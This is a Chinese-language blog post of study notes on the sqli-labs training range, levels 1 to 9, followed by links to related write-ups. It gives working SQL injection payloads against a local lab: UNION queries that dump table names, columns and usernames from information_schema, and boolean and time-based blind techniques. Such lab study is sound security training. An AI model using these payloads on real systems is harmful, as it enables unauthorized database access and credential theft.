预备知识:

  • 数字型注入:

    这种sql语句中处理的是整型,不需要使用单引号来闭合变量的值。

    首先输入id=1',此时因为不是整型,sql语句会执行出错,抛出异常。

    然后输入id=1 and 1=1,此时语句正常执行,页面无反应。

    最后输入id=1 and 1=2,此时语句正常执行,但是查询不到结果,返回数据跟原始网页存在差距

    以上三点,基本可以证明为数字型注入。

  • 字符型注入:

    首先输入admin’,因为本身存在引号闭合,所以多了一个引号,执行出错。

    加上注释符号,mysql存在三种注释符号:-- # /**/(其中--要求和注释文字之间要有空格符,所以一般用--+),比如输入admin' --+成功,改成 admin' and 1=2 --则会报错

    因此基本可以判断为字符型注入。

    字符型对数字不敏感,id='1 and 1=2',也会继续执行id='1'的结果

Less-1:

  • 输入id,有回显:

    说明存在select * from xxx where id='$id'

  • 输入引号有报错,说明引号被sql语句执行了:

    limit 0,1表示从第0行开始提取一个数据。

  • 输入id=1'--+,执行成功,说明是字符注入,sql语句中闭合的引号被--+注释了。

  • 接下来看表中有几列数据

    order by 3显示正常:

    order by 4显示错误:

    说明表中存在三列数据,因为没有第四列,不能根据第四列进行排序。

  • 接下来查看回显位在哪

    因为页面上的显示并不显示查询到的所有列,只有其中一两列。

    输入id =444 'union select 1,2,3 --+:

    可见回显位为第二列和第三列,id=444是为了使得union前面的查询结果为NULL。

  • 开始查询数据库名以及表名

    • 查询数据库:

      union select 1,database(),3

      说明数据库名为security。

    • sql 5.0以上版本中存在information_schema()数据库,其中保存了所有数据库的信息 :

      union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')

      可见表名为emails,referers,uagents,users。其中group_concat()用于将所有结果列出。

    • 查询列名:

      select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')

      可见几个列名。

    • 查询用户名:

      select 1,2,(select group_concat(username) from security.users)

    • 密码:

Less-2:

  • 1有回显,1 and 1=1有回显,1 and 1=2显示如下:

    可见是数字型注入。

  • 那么下面的步骤只需要直接在id号后面进行union即可。原理同上,不再赘述。

Less-3:

  • 测试可得到id=(''),因此只要将语句改成:

    id=66') union select 1,2,3--+

    后面同上。

Less-4:

  • 直接测试id=1",可见报错:

  • 说明后端代码中sql语句应该为id=(""),所以只要将语句改成:

    66") union select 1,2,3 --+

Less-5:

  • 测试id=1 显示正常:

  • 测试id=1'显示错误:

  • 测试id=1'--+显示正常:

    至此基本上可以确定为字符型注入,单引号闭合,并且没有回显。

  • 测试id=6,没有输出,因此为布尔盲注:

  • 判断列数为4列:

  • 查询数据库名第一个字母:

    http://127.0.0.1/sql/Less-5/?id=1' and left((select database()),1)<'t'--+
    #left((select database()),1)用于分离查询结果的第一个字母,使用二分法查找

    可见数据库第一个字母小于t。

    输入>t时查询显示错误:

  • 爆破表名,在爆破第四个表名时,发现为users:

    http://127.0.0.1/sql/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),2)='us'--+
    #limit 3,1用于限制此时为第四个表

    后续则同样从information_schema中查询即可。

Less-6

  • 输入id=1",显示错误:

    当输入1"--+时显示正确,说明是双引号闭合的字符型注入。

  • 后面同上即可

Less-7

  • 输入id=1"--+,可得为字符型注入:

    可以使用布尔盲注,题目要求使用outfile

  • 描述一下数据库file和into/outfile命令

    数据库file权限用于限定用户向OS写入和读取文件的权限,

    into/outfile命令用于对文件的读写

Less-9

  • 首先判断为字符注入:

  • 然后测试1',1'--+等全返回一样,所以尝试时间盲注

    只有输入:http://127.0.0.1/sql/Less-9/?id=6' and sleep(10)--+时才有延迟,
    输入:http://127.0.0.1/sql/Less-9/?id=6 and sleep(10)--+时没有延迟
  • 爆破表名:

    输入:
    http://127.0.0.1/sql/Less-9/?id=6' and sleep(10) and left((select database()),1)>'t'--+
    此时不会延迟,说明数据库名第一个字母<t,因为语句执行错误,不会执行到sleep(10)

    剩下同less-5。

【sqli-labs】学习--待续的更多相关文章

  1. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  2. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. PostgreSQL 12 文档: 前言

    前言 目录 1. 何为PostgreSQL? 2. PostgreSQL简史 2.1. 伯克利的POSTGRES项目 2.2. Postgres95 2.3. PostgreSQL 3. 约定 4. ...

  2. DHorse v1.2.1 发布,基于k8s的发布平台

    综述 DHorse是一个简单易用.以应用为中心的云原生DevOps系统,具有持续集成.持续部署.微服务治理等功能,无需安装依赖Docker.Maven.Node等环境即可发布Java.Vue.Reac ...

  3. 初识常量变量、字符串、ASCII编码表、转义字符表

    一.常量.变量 1.枚举常量(enum) 枚举常量不能更改,枚举常量所创造出的变量可以更改 正确 错误 2.常变量 3.#define定义的标示变量 二.数组 "abc"--'a' ...

  4. Kubernetes安全框架

    Kubernetes安全框架 K8S安全控制框架主要由下面3个阶段进行控制,每一个阶段都 支持插件方式,通过API Server配置来启用插件. Authentication(鉴权):身份鉴别,只有正 ...

  5. [SCOI2005] 栅栏【题解】

    简要题意 木材店老板给出一个整数 \(m\) 和 \(m\) 个木板的长度.老板给出的木板可以随意无损耗切割. 约翰给出一个整数 \(n\) 和所需要的 \(n\) 个木板的长度. 求约翰能得到最多木 ...

  6. 实践分析丨AscendCL应用编译&运行案例

    本文分享自华为云社区<AscendCL应用编译&运行问题案例>,作者: 昇腾CANN. AscendCL(Ascend Computing Language)是一套用于在昇腾平台上 ...

  7. vue2 如何实现将dom元素转移到指定节点

    背景:在写商城页面时,PC端给的设计图纸是按照宽度1920给的,内部内容区域(main)1191px,写死的指定宽度.然后新出了一个页面,类似于12306的这个页面,图片部分,直接占满了屏幕的100v ...

  8. 使用 VirtualBox+Vagrant 创建 CentOS7 虚拟机

    一.准备工作 1.1 软件下载 VirtualBox:Downloads – Oracle VM VirtualBox Vagrant:Install | Vagrant | HashiCorp De ...

  9. LeetCode 周赛上分之旅 # 37 多源 BFS 与连通性问题

    ️ 本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 和 BaguTree Pro 知识星球提问. 学习数据结构与算法的关键在于掌握问题背后的算法思维框架,你的思考越 ...

  10. 《最新出炉》系列初窥篇-Python+Playwright自动化测试-13-playwright操作iframe-下篇

    1.简介 通过前边两篇的学习,想必大家已经对iframe有了一定的认识和了解,今天这一篇主要是对iframe做一个总结,主要从iframe的操作(输入框.点击等等)和定位两个方面进行总结. 2.ifr ...